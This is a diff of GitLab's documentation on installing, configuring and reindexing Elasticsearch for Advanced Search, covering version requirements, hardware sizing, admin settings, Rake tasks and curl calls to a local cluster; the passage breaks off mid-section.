[Starter](https://about.gitlab.com/pricing/) 8.4. > - Support for [Amazon Elasticsearch](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-gsg.html) was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1305) in GitLab [Starter](https://about.gitlab.com/pricing/) 9.0. -This document describes how to set up Elasticsearch with GitLab. Once enabled, -you'll have the benefit of fast search response times and the advantage of two -special searches: +This document describes how to set up Elasticsearch with GitLab. After +Elasticsearch is enabled, you'll have the benefit of fast search response times +and the advantage of the following special searches: + +- [Advanced Search](../user/search/advanced_global_search.md) +- [Advanced Search Syntax](../user/search/advanced_search_syntax.md) + +## Version requirements + +<!-- Remember to update ee/lib/system_check/app/elasticsearch_check.rb if this changes --> -- [Advanced Global Search](../user/search/advanced_global_search.md) -- [Advanced Syntax Search](../user/search/advanced_search_syntax.md) +| GitLab version | Elasticsearch version | +|---------------------------------------------|-------------------------------| +| GitLab Enterprise Edition 12.7 or greater | Elasticsearch 6.x through 7.x | +| GitLab Enterprise Edition 11.5 through 12.6 | Elasticsearch 5.6 through 6.x | +| GitLab Enterprise Edition 9.0 through 11.4 | Elasticsearch 5.1 through 5.5 | +| GitLab Enterprise Edition 8.4 through 8.17 | Elasticsearch 2.4 with [Delete By Query Plugin](https://www.elastic.co/guide/en/elasticsearch/plugins/2.4/plugins-delete-by-query.html) installed | -## Version Requirements +## System requirements + +Elasticsearch requires additional resources in excess of those documented in the +[GitLab system requirements](../install/requirements.md). -<!-- Please remember to update ee/lib/system_check/app/elasticsearch_check.rb if this changes --> +The amount of resources (memory, CPU, storage) will vary greatly, based on the +amount of data being indexed into the Elasticsearch cluster. According to +[Elasticsearch official guidelines](https://www.elastic.co/guide/en/elasticsearch/guide/current/hardware.html#_memory), +each node should have: -| GitLab version | Elasticsearch version | -| -------------- | --------------------- | -| GitLab Enterprise Edition 8.4 - 8.17 | Elasticsearch 2.4 with [Delete By Query Plugin](https://www.elastic.co/guide/en/elasticsearch/plugins/2.4/plugins-delete-by-query.html) installed | -| GitLab Enterprise Edition 9.0 - 11.4 | Elasticsearch 5.1 - 5.5 | -| GitLab Enterprise Edition 11.5 - 12.6 | Elasticsearch 5.6 - 6.x | -| GitLab Enterprise Edition 12.7+ | Elasticsearch 6.x - 7.x | +- [Memory](https://www.elastic.co/guide/en/elasticsearch/guide/current/hardware.html#_memory): 8 GiB (minimum). +- [CPU](https://www.elastic.co/guide/en/elasticsearch/guide/current/hardware.html#_cpus): Modern processor with multiple cores. +- [Storage](https://www.elastic.co/guide/en/elasticsearch/guide/current/hardware.html#_disks): Use SSD storage. You will need enough storage for 50% of the total size of your Git repositories. + +A few notes on CPU and storage: + +- CPU requirements for Elasticsearch tend to be minimal. There are specific + scenarios where this isn't true, but GitLab.com isn't using Elasticsearch in + an exceptionally CPU-heavy way. More cores will be more performant than faster + CPUs. Extra concurrency from multiple cores will far outweigh a slightly + faster clock speed in Elasticsearch. + +- Storage requirements for Elasticsearch are important, especially for + indexing-heavy clusters. When possible use SSDs, whose speed is far superior + to any spinning media for Elasticsearch. In testing, nodes that use SSD storage + see boosts in both query and indexing performance. + +Keep in mind, these are **minimum requirements** for Elasticsearch. +Heavily-utilized Elasticsearch clusters will likely require considerably more +resources. ## Installing Elasticsearch -Elasticsearch is _not_ included in the Omnibus packages or when you install from source. You must -[install it separately](https://www.elastic.co/guide/en/elasticsearch/reference/7.x/install-elasticsearch.html "Elasticsearch 7.x installation documentation"). Be sure to select your version. -Providing detailed information on installing Elasticsearch is out of the scope -of this document. +Elasticsearch is *not* included in the Omnibus packages or when you install from +source. You must [install it separately](https://www.elastic.co/guide/en/elasticsearch/reference/7.x/install-elasticsearch.html "Elasticsearch 7.x installation documentation"). +Be sure to select your version. Providing detailed information on installing +Elasticsearch is out of the scope of this document. NOTE: **Note:** Elasticsearch should be installed on a separate server, whether you install -it yourself or use a cloud hosted offering like Elastic's [Elasticsearch Service](https://www.elastic.co/elasticsearch/service) (available on AWS, GCP, or Azure) or the -[Amazon Elasticsearch](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-gsg.html) service. Running Elasticsearch on the same server as GitLab is not recommended -and will likely cause a degradation in GitLab instance performance. +it yourself or use a cloud hosted offering like Elastic's [Elasticsearch Service](https://www.elastic.co/elasticsearch/service) +(available on AWS, GCP, or Azure) or the [Amazon Elasticsearch](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-gsg.html) +service. Running Elasticsearch on the same server as GitLab is not recommended +and can cause a degradation in GitLab instance performance. NOTE: **Note:** -**For a single node Elasticsearch cluster the functional cluster health status will be yellow** (will never be green) because the primary shard is allocated but replicas can not be as there is no other node to which Elasticsearch can assign a replica. +**For a single node Elasticsearch cluster the functional cluster health status +will be yellow** (will never be green) because the primary shard is allocated but +replicas can not be as there is no other node to which Elasticsearch can assign a +replica. -Once the data is added to the database or repository and [Elasticsearch is +After the data is added to the database or repository and [Elasticsearch is enabled in the Admin Area](#enabling-elasticsearch) the search index will be updated automatically. @@ -47,12 +89,13 @@ For indexing Git repository data, GitLab uses an [indexer written in Go](https:/ The way you install the Go indexer depends on your version of GitLab: -- For Omnibus GitLab 11.8 and above, see [Omnibus GitLab](#omnibus-gitlab). -- For installations from source or older versions of Omnibus GitLab, install the indexer [From Source](#from-source). +- For Omnibus GitLab 11.8 or greater, see [Omnibus GitLab](#omnibus-gitlab). +- For installations from source or older versions of Omnibus GitLab, + [install the indexer from source](#from-source). ### Omnibus GitLab -Since GitLab 11.8 the Go indexer is included in Omnibus GitLab. +Starting with GitLab 11.8, the Go indexer is included in Omnibus GitLab. The former Ruby-based indexer was removed in [GitLab 12.3](https://gitlab.com/gitlab-org/gitlab/-/issues/6481). ### From source @@ -80,7 +123,7 @@ To install on CentOS or RHEL, run: sudo yum install libicu-devel ``` -##### Mac OSX +#### Mac OSX To install on macOS, run: @@ -112,60 +155,87 @@ Example: PREFIX=/usr sudo -E make install ``` -Once installed, enable it under your instance's Elasticsearch settings explained [below](#enabling-elasticsearch). +After installation, be sure to [enable Elasticsearch](#enabling-elasticsearch). -## System Requirements +## Enabling Elasticsearch -Elasticsearch requires additional resources in excess of those documented in the -[GitLab system requirements](../install/requirements.md). +NOTE: **Note:** +For GitLab instances with more than 50GB repository data you can follow the instructions for [Indexing large +instances](#indexing-large-instances) below. -The amount of resources (memory, CPU, storage) will vary greatly, based on the amount of data being indexed into the Elasticsearch cluster. According to [Elasticsearch official guidelines](https://www.elastic.co/guide/en/elasticsearch/guide/current/hardware.html#_memory), each node should have: +To enable Elasticsearch, you need to have admin access to GitLab: -- [RAM](https://www.elastic.co/guide/en/elasticsearch/guide/current/hardware.html#_disks): **8 GiB as the bare minimum** -- [CPU](https://www.elastic.co/guide/en/elasticsearch/guide/current/hardware.html#_cpus): Modern processor with multiple cores -- [Storage](https://www.elastic.co/guide/en/elasticsearch/guide/current/hardware.html#_disks): Use SSD storage. As a guide you will need enough storage for 50% of the total size of your Git repositories. +1. Navigate to **Admin Area** (wrench icon), then **Settings > General** + and expand the **Advanced Search** section. -A few notes on CPU and storage: + NOTE: **Note:** + To see the Advanced Search section, you need an active Starter + [license](../user/admin_area/license.md). -- CPU requirements for Elasticsearch tend to be light. There are specific scenarios where this isn't true, but GitLab.com isn't using Elasticsearch in an exceptionally CPU-heavy way. More cores will be more performant than faster CPUs. Extra concurrency from multiple cores will far outweigh a slightly faster clock speed in Elasticsearch. +1. Configure the [Elasticsearch settings](#elasticsearch-configuration) for + your Elasticsearch cluster. Do not enable **Elasticsearch indexing** or + **Search with Elasticsearch enabled** yet. +1. Click **Save changes** for the changes to take effect. +1. Before enabling **Elasticsearch indexing** you need to create an index by + running the Rake task: -- Storage requirements for Elasticsearch are important, especially for indexing-heavy clusters. When possible, use SSDs, Their speed is far superior to any spinning media for Elasticsearch. In testing, nodes that use SSD storage see boosts in both query and indexing performance. + ```shell + # Omnibus installations + sudo gitlab-rake gitlab:elastic:create_empty_index -Keep in mind, these are **minimum requirements** for Elasticsearch. Heavily-utilized Elasticsearch clusters will likely require considerably more resources. + # Installations from source + bundle exec rake gitlab:elastic:create_empty_index RAILS_ENV=production + ``` -## Enabling Elasticsearch +1. Now enable `Elasticsearch indexing` in **Admin Area > Settings > + General > Advanced Search** and click **Save changes**. +1. Click **Index all projects**. +1. Click **Check progress** in the confirmation message to see the status of + the background jobs. +1. Personal snippets need to be indexed using another Rake task: + + ```shell + # Omnibus installations + sudo gitlab-rake gitlab:elastic:index_snippets + + # Installations from source + bundle exec rake gitlab:elastic:index_snippets RAILS_ENV=production + ``` -In order to enable Elasticsearch, you need to have admin access. Navigate to -**Admin Area** (wrench icon), then **Settings > Integrations** and expand the **Elasticsearch** section. +1. After the indexing has completed, enable **Search with Elasticsearch enabled** in + **Admin Area > Settings > General > Advanced Search** and click **Save + changes**. -Click **Save changes** for the changes to take effect. +### Elasticsearch configuration The following Elasticsearch settings are available: | Parameter | Description | -| ----------------------------------------------------- | ----------- | -| `Elasticsearch indexing` | Enables/disables Elasticsearch indexing. You may want to enable indexing but disable search in order to give the index time to be fully completed, for example. Also, keep in mind that this option doesn't have any impact on existing data, this only enables/disables background indexer which tracks data changes. So by enabling this you will not get your existing data indexed, use special Rake task for that as explained in [Adding GitLab's data to the Elasticsearch index](#adding-gitlabs-data-to-the-elasticsearch-index). | -| `Elasticsearch pause indexing` | Enables/disables temporary indexing pause. This is useful for cluster migration/reindexing. All changes are still tracked, but they are not committed to the Elasticsearch index until unpaused. | -| `Search with Elasticsearch enabled` | Enables/disables using Elasticsearch in search. | +|-------------------------------------------------------|-------------| +| `Elasticsearch indexing` | Enables or disables Elasticsearch indexing. You may want to enable indexing but disable search in order to give the index time to be fully completed, for example. Also, keep in mind that this option doesn't have any impact on existing data, this only enables/disables the background indexer which tracks data changes and ensures new data is indexed. | +| `Pause Elasticsearch indexing` | Enables or disables temporary indexing pause. This is useful for cluster migration/reindexing. All changes are still tracked, but they are not committed to the Elasticsearch index until unpaused. | +| `Search with Elasticsearch enabled` | Enables or disables using Elasticsearch in search. | | `URL` | The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., `http://host1, https://host2:9200`). If your Elasticsearch instance is password protected, pass the `username:password` in the URL (e.g., `http://<username>:<password>@<elastic_host>:9200/`). | | `Number of Elasticsearch shards` | Elasticsearch indexes are split into multiple shards for performance reasons. In general, larger indexes need to have more shards. Changes to this value do not take effect until the index is recreated. You can read more about tradeoffs in the [Elasticsearch documentation](https://www.elastic.co/guide/en/elasticsearch/reference/current/scalability.html). | | `Number of Elasticsearch replicas` | Each Elasticsearch shard can have a number of replicas. These are a complete copy of the shard, and can provide increased query performance or resilience against hardware failure. Increasing this value will greatly increase total disk space required by the index. | | `Limit namespaces and projects that can be indexed` | Enabling this will allow you to select namespaces and projects to index. All other namespaces and projects will use database search instead. Please note that if you enable this option but do not select any namespaces or projects, none will be indexed. [Read more below](#limiting-namespaces-and-projects). -| `Using AWS hosted Elasticsearch with IAM credentials` | Sign your Elasticsearch requests using [AWS IAM authorization](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html), [AWS EC2 Instance Profile Credentials](https://docs.aws.amazon.com/codedeploy/latest/userguide/getting-started-create-iam-instance-profile.html#getting-started-create-iam-instance-profile-cli), or [AWS ECS Tasks Credentials](https://docs.aws.amazon.com/AmazonECS/latest/userguide/task-iam-roles.html). The policies must be configured to allow `es:*` actions. | -| `AWS Region` | The AWS region your Elasticsearch service is located in. | +| `Using AWS hosted Elasticsearch with IAM credentials` | Sign your Elasticsearch requests using [AWS IAM authorization](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html), [AWS EC2 Instance Profile Credentials](https://docs.aws.amazon.com/codedeploy/latest/userguide/getting-started-create-iam-instance-profile.html#getting-started-create-iam-instance-profile-cli), or [AWS ECS Tasks Credentials](https://docs.aws.amazon.com/AmazonECS/latest/userguide/task-iam-roles.html). Please refer to [Identity and Access Management in Amazon Elasticsearch Service](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-ac.html) for details of AWS hosted Elasticsearch domain access policy configuration. | +| `AWS Region` | The AWS region in which your Elasticsearch service is located. | | `AWS Access Key` | The AWS access key. | | `AWS Secret Access Key` | The AWS secret access key. | | `Maximum file size indexed` | See [the explanation in instance limits.](../administration/instance_limits.md#maximum-file-size-indexed). | | `Maximum field length` | See [the explanation in instance limits.](../administration/instance_limits.md#maximum-field-length). | | `Maximum bulk request size (MiB)` | The Maximum Bulk Request size is used by GitLab's Golang-based indexer processes and indicates how much data it ought to collect (and store in memory) in a given indexing process before submitting the payload to Elasticsearch’s Bulk API. This setting should be used with the Bulk request concurrency setting (see below) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running GitLab's Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. | -| `Bulk request concurrency` | The Bulk request concurrency indicates how many of GitLab's Golang-based indexer processes (or threads) can run in parallel to collect data to subsequently submit to Elasticsearch’s Bulk API. This increases indexing performance, but fills the Elasticsearch bulk requests queue faster. This setting should be used together with the Maximum bulk request size setting (see above) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running GitLab's Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. | +| `Bulk request concurrency` | The Bulk request concurrency indicates how many of GitLab's Golang-based indexer processes (or threads) can run in parallel to collect data to subsequently submit to Elasticsearch’s Bulk API. This increases indexing performance, but fills the Elasticsearch bulk requests queue faster. This setting should be used together with the Maximum bulk request size setting (see above) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running GitLab's Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. | +| `Client request timeout` | Elasticsearch HTTP client request timeout value in seconds. `0` means using the system default timeout value, which depends on the libraries that GitLab application is built upon. | ### Limiting namespaces and projects -If you select `Limit namespaces and projects that can be indexed`, more options will become available +If you select `Limit namespaces and projects that can be indexed`, more options will become available. +  -You can select namespaces and projects to index exclusively. Please note that if the namespace is a group it will include +You can select namespaces and projects to index exclusively. Note that if the namespace is a group it will include any sub-groups and projects belonging to those sub-groups to be indexed as well. Elasticsearch only provides cross-group code/commit search (global) if all name-spaces are indexed. In this particular scenario where only a subset of namespaces are indexed, a global search will not provide a code or commit scope. This will be possible only in the scope of an indexed namespace. Currently there is no way to code/commit search in multiple indexed namespaces (when only a subset of namespaces has been indexed). For example if two groups are indexed, there is no way to run a single code search on both. You can only run a code search on the first group and then on the second. @@ -187,8 +257,8 @@ from the Elasticsearch index as expected. To disable the Elasticsearch integration: -1. Navigate to the **Admin Area** (wrench icon), then **Settings > Integrations**. -1. Expand the **Elasticsearch** section and uncheck **Elasticsearch indexing** +1. Navigate to the **Admin Area** (wrench icon), then **Settings > General**. +1. Expand the **Advanced Search** section and uncheck **Elasticsearch indexing** and **Search with Elasticsearch enabled**. 1. Click **Save changes** for the changes to take effect. 1. (Optional) Delete the existing index: @@ -201,253 +271,39 @@ To disable the Elasticsearch integration: bundle exec rake gitlab:elastic:delete_index RAILS_ENV=production ``` -## Adding GitLab's data to the Elasticsearch index - -While Elasticsearch indexing is enabled, new changes in your GitLab instance will be automatically indexed as they happen. -To backfill existing data, you can use one of the methods below to index it in background jobs. - -### Indexing through the administration UI - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/15390) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.3. - -To index via the Admin Area: - -1. [Configure your Elasticsearch host and port](#enabling-elasticsearch). -1. Create empty indexes: - - ```shell - # Omnibus installations - sudo gitlab-rake gitlab:elastic:create_empty_index - - # Installations from source - bundle exec rake gitlab:elastic:create_empty_index RAILS_ENV=production - ``` - -1. [Enable **Elasticsearch indexing**](#enabling-elasticsearch). -1. Click **Index all projects** in **Admin Area > Settings > Integrations > Elasticsearch**. -1. Click **Check progress** in the confirmation message to see the status of the background jobs. -1. Personal snippets need to be indexed manually: - - ```shell - # Omnibus installations - sudo gitlab-rake gitlab:elastic:index_snippets - - # Installations from source - bundle exec rake gitlab:elastic:index_snippets RAILS_ENV=production - ``` - -1. After the indexing has completed, enable [**Search with Elasticsearch**](#enabling-elasticsearch). - -### Indexing through Rake tasks - -Indexing can be performed using Rake tasks. - -#### Indexing small instances - -CAUTION: **Warning:** -This will delete your existing indexes. - -If the database size is less than 500 MiB, and the size of all hosted repos is less than 5 GiB: - -1. [Configure your Elasticsearch host and port](#enabling-elasticsearch). -1. Index your data: - - ```shell - # Omnibus installations - sudo gitlab-rake gitlab:elastic:index - - # Installations from source - bundle exec rake gitlab:elastic:index RAILS_ENV=production - ``` - -1. After the indexing has completed, enable [**Search with Elasticsearch**](#enabling-elasticsearch). - -#### Indexing large instances - -CAUTION: **Warning:** -Performing asynchronous indexing will generate a lot of Sidekiq jobs. -Make sure to prepare for this task by having a [Scalable and Highly Available Setup](README.md) -or creating [extra Sidekiq processes](../administration/operations/extra_sidekiq_processes.md) - -1. [Configure your Elasticsearch host and port](#enabling-elasticsearch). -1. Create empty indexes: - - ```shell - # Omnibus installations - sudo gitlab-rake gitlab:elastic:create_empty_index - - # Installations from source - bundle exec rake gitlab:elastic:create_empty_index RAILS_ENV=production - ``` - -1. If this is a re-index of your GitLab instance, clear the index status: - - ```shell - # Omnibus installations - sudo gitlab-rake gitlab:elastic:clear_index_status - - # Installations from source - bundle exec rake gitlab:elastic:clear_index_status RAILS_ENV=production - ``` - -1. [Enable **Elasticsearch indexing**](#enabling-elasticsearch). -1. Indexing large Git repositories can take a while. To speed up the process, you can [tune for indexing speed](https://www.elastic.co/guide/en/elasticsearch/reference/current/tune-for-indexing-speed.html#tune-for-indexing-speed): - - - You can temporarily disable [`refresh`](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-refresh.html), the operation responsible for making changes to an index available to search. - - - You can set the number of replicas to 0. This setting controls the number of copies each primary shard of an index will have. Thus, having 0 replicas effectively disables the replication of shards across nodes, which should increase the indexing performance. This is an important trade-off in terms of reliability and query performance. It is important to remember to set the replicas to a considered value after the initial indexing is complete. - - In our experience, you can expect a 20% decrease in indexing time. After completing indexing in a later step, you can return `refresh` and `number_of_replicas` to their desired settings. - - NOTE: **Note:** - This step is optional but may help significantly speed up large indexing operations. - - ```shell - curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{ - "index" : { - "refresh_interval" : "-1", - "number_of_replicas" : 0 - } }' - ``` - -1. Index projects and their associated data: - - ```shell - # Omnibus installations - sudo gitlab-rake gitlab:elastic:index_projects - - # Installations from source - bundle exec rake gitlab:elastic:index_projects RAILS_ENV=production - ``` - - This enqueues a Sidekiq job for each project that needs to be indexed. - You can view the jobs in **Admin Area > Monitoring > Background Jobs > Queues Tab** - and click `elastic_indexer`, or you can query indexing status using a Rake task: - - ```shell - # Omnibus installations - sudo gitlab-rake gitlab:elastic:index_projects_status - - # Installations from source - bundle exec rake gitlab:elastic:index_projects_status RAILS_ENV=production - - Indexing is 65.55% complete (6555/10000 projects) - ``` - - If you want to limit the index to a range of projects you can provide the - `ID_FROM` and `ID_TO` parameters: - - ```shell - # Omnibus installations - sudo gitlab-rake gitlab:elastic:index_projects ID_FROM=1001 ID_TO=2000 - - # Installations from source - bundle exec rake gitlab:elastic:index_projects ID_FROM=1001 ID_TO=2000 RAILS_ENV=production - ``` - - Where `ID_FROM` and `ID_TO` are project IDs. Both parameters are optional. - The above example will index all projects from ID `1001` up to (and including) ID `2000`. - - TIP: **Troubleshooting:** - Sometimes the project indexing jobs queued by `gitlab:elastic:index_projects` - can get interrupted. This may happen for many reasons, but it's always safe - to run the indexing task again. It will skip repositories that have - already been indexed. - - As the indexer stores the last commit SHA of every indexed repository in the - database, you can run the indexer with the special parameter `UPDATE_INDEX` and - it will check every project repository again to make sure that every commit in - a repository is indexed, which can be useful in case if your index is outdated: - - ```shell - # Omnibus installations - sudo gitlab-rake gitlab:elastic:index_projects UPDATE_INDEX=true ID_TO=1000 - - # Installations from source - bundle exec rake gitlab:elastic:index_projects UPDATE_INDEX=true ID_TO=1000 RAILS_ENV=production - ``` - - You can also use the `gitlab:elastic:clear_index_status` Rake task to force the - indexer to "forget" all progress, so it will retry the indexing process from the - start. - -1. Personal snippets are not associated with a project and need to be indexed separately: - - ```shell - # Omnibus installations - sudo gitlab-rake gitlab:elastic:index_snippets - - # Installations from source - bundle exec rake gitlab:elastic:index_snippets RAILS_ENV=production - ``` - -1. Enable replication and refreshing again after indexing (only if you previously disabled it): - - ```shell - curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{ - "index" : { - "number_of_replicas" : 1, - "refresh_interval" : "1s" - } }' - ``` - - A force merge should be called after enabling the refreshing above. - - For Elasticsearch 6.x, the index should be in read-only mode before proceeding with the force merge: - - ```shell - curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{ - "settings": { - "index.blocks.write": true - } }' - ``` - - Then, initiate the force merge: - - ```shell - curl --request POST 'localhost:9200/gitlab-production/_forcemerge?max_num_segments=5' - ``` - - After this, if your index is in read-only mode, switch back to read-write: - - ```shell - curl --request PUT localhost:9200/gitlab-production/_settings --header 'Content-Type: application/json' --data '{ - "settings": { - "index.blocks.write": false - } }' - ``` - -1. After the indexing has completed, enable [**Search with Elasticsearch**](#enabling-elasticsearch). - -### Indexing limitations - -For repository and snippet files, GitLab will only index up to 1 MiB of content, in order to avoid indexing timeouts. - ## Zero downtime reindexing -The idea behind this reindexing method is to leverage Elasticsearch index alias feature to atomically swap between two indices. -We will refer to each index as `primary` (online and used by GitLab for read/writes) and `secondary` (offline, for reindexing purpose). +The idea behind this reindexing method is to leverage Elasticsearch index alias +feature to atomically swap between two indices. We'll refer to each index as +`primary` (online and used by GitLab for read/writes) and `secondary` +(offline, for reindexing purpose). -Instead of connecting directly to the `primary` index, we'll setup an index alias such as we can change the underlying index at will. +Instead of connecting directly to the `primary` index, we'll setup an index +alias such as we can change the underlying index at will. NOTE: **Note:** -Any index attached to the production alias is deemed a `primary` and will end up being used by the GitLab Elasticsearch integration. +Any index attached to the production alias is deemed a `primary` and will be +used by the GitLab Elasticsearch integration. ### Pause the indexing -Under **Admin Area > Integration > Elasticsearch**, check the **Pause Elasticsearch Indexing** setting and save. +In the **Admin Area > Settings > General > Advanced Search** section, select the +**Pause Elasticsearch Indexing** setting, and then save your change. -With this, all updates that should happen on your Elasticsearch index will be buffered and caught up once unpaused. +With this, all updates that should happen on your Elasticsearch index will be +buffered and caught up once unpaused. ### Setup TIP: **Tip:** -If your index has been created with GitLab v13.0+ you can skip directly to [trigger the reindex](#trigger-the-reindex-via-the-elasticsearch-administration). +If your index was created with GitLab 13.0 or greater, you can directly +[trigger the reindex](#trigger-the-reindex-via-the-advanced-search-administration). -This process involves multiple shell commands and curl invocations, so a good initial setup will help down the road: +This process involves several shell commands and curl invocations, so a good +initial setup will help for later: ```shell -# You can find this value under Admin Area > Integration > Elasticsearch > URL +# You can find this value under Admin Area > Settings > General > Advanced Search > URL export CLUSTER_URL="http://localhost:9200" export PRIMARY_INDEX="gitlab-production" export SECONDARY_INDEX="gitlab-production-$(date +%s)" @@ -456,10 +312,12 @@ export SECONDARY_INDEX="gitlab-production-$(date +%s)" ### Reclaiming the `gitlab-production` index name CAUTION: **Caution:** -It is highly recommended that you take a snapshot of your cluster to make sure there is a recovery path if anything goes wrong. +It is highly recommended that you take a snapshot of your cluster to ensure +there is a recovery path if anything goes wrong. NOTE: **Note:** -Due to a technical limitation, there will be a slight downtime because of the fact that we need to reclaim the current `primary` index to be used as the alias. +Due to a technical limitation, there will be a slight downtime because of the +fact that we need to reclaim the current `primary` index to be used as the alias. To reclaim the `gitlab-production` index name, you need to first create a `secondary` index and then trigger the re-index from `primary`. @@ -477,7 +335,8 @@ sudo SKIP_ALIAS=1 gitlab-rake "gitlab:elastic:create_empty_index[$SECONDARY_INDE SKIP_ALIAS=1 bundle exec rake "gitlab:elastic:create_empty_index[$SECONDARY_INDEX]" ``` -The index should be created successfully, with the latest index options and mappings. +The index should be created successfully, with the latest index options and +mappings. #### Trigger the re-index from `primary` @@ -498,9 +357,9 @@ To trigger the re-index from `primary` index: {"task":"3qw_Tr0YQLq7PF16Xek8YA:1012"} ``` - Note the `task` value here as it will be useful to follow the reindex progress. + Note the `task` value, as it will be useful to follow the reindex progress. -1. Wait for the reindex process to complete, by checking the `completed` value. +1. Wait for the reindex process to complete by checking the `completed` value. Using the `task` value form the previous step: ```shell @@ -514,10 +373,10 @@ To trigger the re-index from `primary` index: {"completed":false, …} ``` - Once the returned value is `true`, you may continue to the next step. + After the returned value is `true`, continue to the next step. -1. Make sure that the secondary index has data in it. You can use the Elasticsearch - API to look for the index size and compare our two indices: +1. Ensure that the secondary index has data in it. You can use the + Elasticsearch API to look for the index size and compare our two indices: ```shell curl $CLUSTER_URL/$PRIMARY_INDEX/_count => 123123 @@ -527,7 +386,8 @@ To trigger the re-index from `primary` index: TIP: **Tip:** Comparing the document count is more accurate than using the index size, as improvements to the storage might cause the new index to be smaller than the original one. -1. Once you are confident your `secondary` index is valid, you can process to the creation of the alias. +1. After you are confident your `secondary` index is valid, you can process to + the creation of the alias. ```shell # Delete the original index @@ -540,18 +400,18 @@ To trigger the re-index from `primary` index: $CLUSTER_URL/_aliases ``` - The reindexing is now completed. Your GitLab instance is now ready to use the [automated in-cluster reindexing](#trigger-the-reindex-via-the-elasticsearch-administration) feature for future reindexing. + The reindexing is now completed. Your GitLab instance is now ready to use the [automated in-cluster reindexing](#trigger-the-reindex-via-the-advanced-search-administration) feature for future reindexing. 1. Unpause the indexing - Under **Admin Area > Integration > Elasticsearch**, uncheck the **Pause Elasticsearch Indexing** setting and save. + Under **Admin Area > Settings > General > Advanced Search**, uncheck the **Pause Elasticsearch Indexing** setting and save. -### Trigger the reindex via the Elasticsearch administration +### Trigger the reindex via the Advanced Search administration > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34069) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.2. > - A scheduled index deletion and the ability to cancel it was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38914) in GitLab Starter 13.3. -Under **Admin Area > Integration > Elasticsearch zero-downtime reindexing**, click on **Trigger cluster reindexing**. +Under **Admin Area > Settings > General > Advanced Search > Elasticsearch zero-downtime reindexing**, click on **Trigger cluster reindexing**. NOTE: **Note:** Reindexing can be a lengthy process depending on the size of your Elasticsearch cluster. @@ -567,13 +427,13 @@ Rake tasks are available to: - [Build and install](#building-and-installing) the indexer. - Delete indexes when [disabling Elasticsearch](#disabling-elasticsearch). -- [Add GitLab data](#adding-gitlabs-data-to-the-elasticsearch-index) to an index. +- Add GitLab data to an index. The following are some available Rake tasks: | Task | Description | |:--------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| [`sudo gitlab-rake gitlab:elastic:index`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Enables Elasticsearch Indexing and run `gitlab:elastic:create_empty_index`, `gitlab:elastic:clear_index_status`, `gitlab:elastic:index_projects`, and `gitlab:elastic:index_snippets`. | +| [`sudo gitlab-rake gitlab:elastic:index`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Enables Elasticsearch indexing and run `gitlab:elastic:create_empty_index`, `gitlab:elastic:clear_index_status`, `gitlab:elastic:index_projects`, and `gitlab:elastic:index_snippets`. | | [`sudo gitlab-rake gitlab:elastic:index_projects`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Iterates over all projects and queues Sidekiq jobs to index them in the background. | | [`sudo gitlab-rake gitlab:elastic:index_projects_status`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Determines the overall status of the indexing. It is done by counting the total number of indexed projects, dividing by a count of the total number of projects, then multiplying by 100. | | [`sudo gitlab-rake gitlab:elastic:clear_index_status`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Deletes all instances of IndexStatus for all projects. | @@ -644,6 +504,168 @@ For basic guidance on choosing a cluster configuration you may refer to [Elastic - The `Number of Elasticsearch shards` setting usually corresponds with the number of CPUs available in your cluster. For example, if you have a 3-node cluster with 4 cores each, this means you will benefit from having at least 3*4=12 shards in the cluster. Please note, it's only possible to change the shards number by using [Split index API](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-split-index.html) or by reindexing to a different index with a changed number of shards. - The `Number of Elasticsearch replicas` setting should most of the time be equal to `1` (each shard will have 1 replica). Using `0` is not recommended, because losing one node will corrupt the index. +### Indexing large instances + +This section may be helpful in the event that the other +[basic instructions](#enabling-elasticsearch) cause problems +due to large volumes of data being indexed. + +CAUTION: **Warning:** +Indexing a large instance will generate a lot of Sidekiq jobs. +Make sure to prepare for this task by having a [Scalable and Highly Available +Setup](../administration/reference_architectures/index.md) or creating [extra +Sidekiq processes](../administration/operations/extra_sidekiq_processes.md). + +1. [Configure your Elasticsearch host and port](#enabling-elasticsearch). +1. Create empty indexes: + + ```shell + # Omnibus installations + sudo gitlab-rake gitlab:elastic:create_empty_index + + # Installations from source + bundle exec rake gitlab:elastic:create_empty_index RAILS_ENV=production + ``` + +1. If this is a re-index of your GitLab instance, clear the index status: + + ```shell + # Omnibus installations + sudo gitlab-rake gitlab:elastic:clear_index_status + + # Installations from source + bundle exec rake gitlab:elastic:clear_index_status RAILS_ENV=production + ``` + +1. [Enable **Elasticsearch indexing**](#enabling-elasticsearch). +1. Indexing large Git repositories can take a while. To speed up the 